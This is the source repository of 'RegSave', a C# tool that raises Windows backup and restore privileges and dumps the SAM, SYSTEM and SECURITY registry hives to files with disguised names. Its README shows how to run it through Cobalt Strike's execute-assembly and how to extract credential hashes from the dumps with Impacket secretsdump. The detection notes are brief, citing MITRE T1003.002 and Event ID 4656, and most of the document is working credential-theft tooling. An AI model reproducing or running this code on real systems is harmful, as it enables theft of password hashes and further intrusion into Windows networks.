├── README.md ├── RegSave.sln ├── Reg.cs ├── Properties └── AssemblyInfo.cs ├── Privileges.cs ├── Program.cs ├── RegSave.csproj └── Interop.cs /README.md: -------------------------------------------------------------------------------- 1 | # RegSave 2 | 3 | A .NET 3.5 application that will dump SAM / SYSTEM / SECURITY registry keys to a path of your choosing. 4 | 5 | ## Usage 6 | 7 | ``` 8 | regsave.exe c:\Users\USER\Appdata\Local 9 | execute-assembly /opt/CS/toolkit/regsave.exe c:\Users\USER\Appdata\Local 10 | ``` 11 | Collect the files and then parse them with [Impacket secretsdump](https://github.com/SecureAuthCorp/impacket) 12 | 13 | ``` 14 | secretsdump.py -sam samantha.txt -security secundum.txt -system systemless.txt LOCAL 15 | ``` 16 | 17 | 18 | ## Detection 19 | [MITRE 1003.002](https://attack.mitre.org/techniques/T1003/002/) 20 | 21 | Look for Event ID 4656 after configuring audit policy. 22 | 23 | More info at 24 | [Detecting Attempts to steal passwords from the registry](https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-the-registry-7512674487f8) -------------------------------------------------------------------------------- /RegSave.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29609.76 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RegSave", "RegSave.csproj", "{C16AA634-71F1-4CAB-BF69-FFDC2E161545}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {C16AA634-71F1-4CAB-BF69-FFDC2E161545}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {C16AA634-71F1-4CAB-BF69-FFDC2E161545}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {C16AA634-71F1-4CAB-BF69-FFDC2E161545}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {C16AA634-71F1-4CAB-BF69-FFDC2E161545}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {FC62D9F3-76C2-4B31-AB61-89D8423132CC} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Reg.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using static RegSave.Interop; 3 | 4 | namespace RegSave 5 | { 6 | internal class Reg 7 | { 8 | public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); 9 | public static int KEY_READ = 0x20019; 10 | public static int KEY_ALL_ACCESS = 0xF003F; 11 | public static int REG_OPTION_OPEN_LINK = 0x0008; 12 | public static int REG_OPTION_BACKUP_RESTORE = 0x0004; 13 | public static int KEY_QUERY_VALUE = 0x1; 14 | 15 | public static void ExportRegKey(string key, string outFile) 16 | { 17 | var hKey = UIntPtr.Zero; 18 | try 19 | { 20 | RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey); //https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa 21 | RegSaveKey(hKey, outFile, IntPtr.Zero); 22 | RegCloseKey(hKey); 23 | Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile); 24 | } 25 | catch (Exception e) 26 | { 27 | throw e; 28 | } 29 | 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("")] 12 | [assembly: AssemblyCopyright("")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("c16aa634-71f1-4cab-bf69-ffdc2e161545")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("0.0.0.0")] 35 | [assembly: AssemblyFileVersion("0.0.0.0")] 36 | -------------------------------------------------------------------------------- /Privileges.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | using System.Security.Principal; 5 | using static RegSave.Interop; 6 | 7 | namespace RegSave 8 | { 9 | public class Privileges 10 | { 11 | //From https://raw.githubusercontent.com/GhostPack/SharpDump/master/SharpDump/Program.cs 12 | public static bool IsHighIntegrity() 13 | { 14 | // returns true if the current process is running with adminstrative privs in a high integrity context 15 | var identity = WindowsIdentity.GetCurrent(); 16 | var principal = new WindowsPrincipal(identity); 17 | return principal.IsInRole(WindowsBuiltInRole.Administrator); 18 | } 19 | 20 | //From https://github.com/Dijji/RepairTasks/blob/97acc1f1806f64f23c978253924836fa7018b5fc/RegKey.cs 21 | public static void EnableDisablePrivilege(string PrivilegeName, bool EnableDisable) 22 | { 23 | var htok = IntPtr.Zero; 24 | 25 | if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TokenAccessLevels.AdjustPrivileges | TokenAccessLevels.Query, out htok)) 26 | { 27 | Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); 28 | return; 29 | } 30 | 31 | var tkp = new TOKEN_PRIVILEGES { PrivilegeCount = 1 }; 32 | LUID luid; 33 | 34 | if (!LookupPrivilegeValue(null, PrivilegeName, out luid)) 35 | { 36 | Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); 37 | return; 38 | } 39 | 40 | tkp.Luid = luid; 41 | tkp.Attributes = (uint)(EnableDisable ? 2 : 0); 42 | TOKEN_PRIVILEGES prv; 43 | uint rb; 44 | 45 | if (!AdjustTokenPrivileges(htok, false, ref tkp, 256, out prv, out rb)) 46 | { 47 | Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); 48 | } 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace RegSave 5 | { 6 | internal class Program 7 | { 8 | public static void Usage() 9 | { 10 | Console.WriteLine("Usage: RegSave.exe path\n" + 11 | "Example:\n" + 12 | " RegSave.exe C:\\Path\\To\\Directory\n" + 13 | "Note:\n" + 14 | " Requires running in high integrity level.\n"); 15 | Environment.Exit(1); //Be careful if running without fork & run 16 | } 17 | 18 | private static void DumpReg(string path) 19 | { 20 | try 21 | { 22 | Privileges.EnableDisablePrivilege("SeBackupPrivilege", true); 23 | Privileges.EnableDisablePrivilege("SeRestorePrivilege", true); 24 | Reg.ExportRegKey("SAM", Path.Combine(path, "samantha.txt")); 25 | Reg.ExportRegKey("SYSTEM", Path.Combine(path, "systemless.txt")); 26 | Reg.ExportRegKey("SECURITY", Path.Combine(path, "secundum.txt")); 27 | } catch (Exception e) 28 | { 29 | Console.WriteLine(e.Message); 30 | Console.WriteLine(e.StackTrace); 31 | } 32 | } 33 | 34 | private static void Main(string[] args) 35 | { 36 | if (!Privileges.IsHighIntegrity()) 37 | { 38 | Console.WriteLine("\n[!] Not running in high integrity process.\n"); 39 | Usage(); 40 | } 41 | 42 | if (args.Length != 1) 43 | { 44 | Console.WriteLine("\n[!] Invalid number of arguments.\n"); 45 | Usage(); 46 | } 47 | else 48 | { 49 | string path = args[0]; 50 | 51 | if (!Directory.Exists(path)) 52 | { 53 | Console.WriteLine("\n[!] Invalid path '{0}'\n", path); 54 | Usage(); 55 | } 56 | 57 | DumpReg(path); 58 | } 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /RegSave.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C16AA634-71F1-4CAB-BF69-FFDC2E161545} 8 | Exe 9 | RegSave 10 | RegSave 11 | v3.5 12 | 512 13 | true 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /Interop.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Security.Principal; 4 | 5 | namespace RegSave 6 | { 7 | public class Interop 8 | { 9 | [DllImport("advapi32.dll", CharSet = CharSet.Auto)] 10 | public static extern int RegOpenKeyEx( 11 | UIntPtr hKey, 12 | string subKey, 13 | int ulOptions, 14 | int samDesired, 15 | out UIntPtr hkResult 16 | ); 17 | 18 | [DllImport("advapi32", SetLastError = true)] 19 | [return: MarshalAs(UnmanagedType.Bool)] 20 | public static extern bool OpenProcessToken( 21 | IntPtr ProcessHandle, 22 | TokenAccessLevels DesiredAccess, 23 | out IntPtr TokenHandle 24 | ); 25 | 26 | [DllImport("advapi32.dll", SetLastError = true)] 27 | [return: MarshalAs(UnmanagedType.Bool)] 28 | public static extern bool AdjustTokenPrivileges( 29 | IntPtr TokenHandle, 30 | [MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges, 31 | ref TOKEN_PRIVILEGES NewState, 32 | uint BufferLength, 33 | out TOKEN_PRIVILEGES PreviousState, 34 | out uint ReturnLength 35 | ); 36 | 37 | [DllImport("advapi32.dll", SetLastError = true)] 38 | public static extern bool LookupPrivilegeValue( 39 | string lpSystemName, 40 | string lpName, 41 | out LUID lpLuid 42 | ); 43 | 44 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 45 | public static extern int RegSaveKey( 46 | UIntPtr hKey, 47 | string lpFile, 48 | IntPtr lpSecurityAttributes 49 | ); 50 | 51 | [DllImport("advapi32.dll", SetLastError = true)] 52 | public static extern int RegCloseKey( 53 | UIntPtr hKey 54 | ); 55 | 56 | #region structs 57 | [StructLayout(LayoutKind.Sequential)] 58 | public struct LUID 59 | { 60 | public uint LowPart; 61 | public int HighPart; 62 | } 63 | 64 | [StructLayout(LayoutKind.Sequential)] 65 | public struct TOKEN_PRIVILEGES 66 | { 67 | public uint PrivilegeCount; 68 | public LUID Luid; 69 | public uint Attributes; 70 | } 71 | #endregion 72 | } 73 | } 74 | --------------------------------------------------------------------------------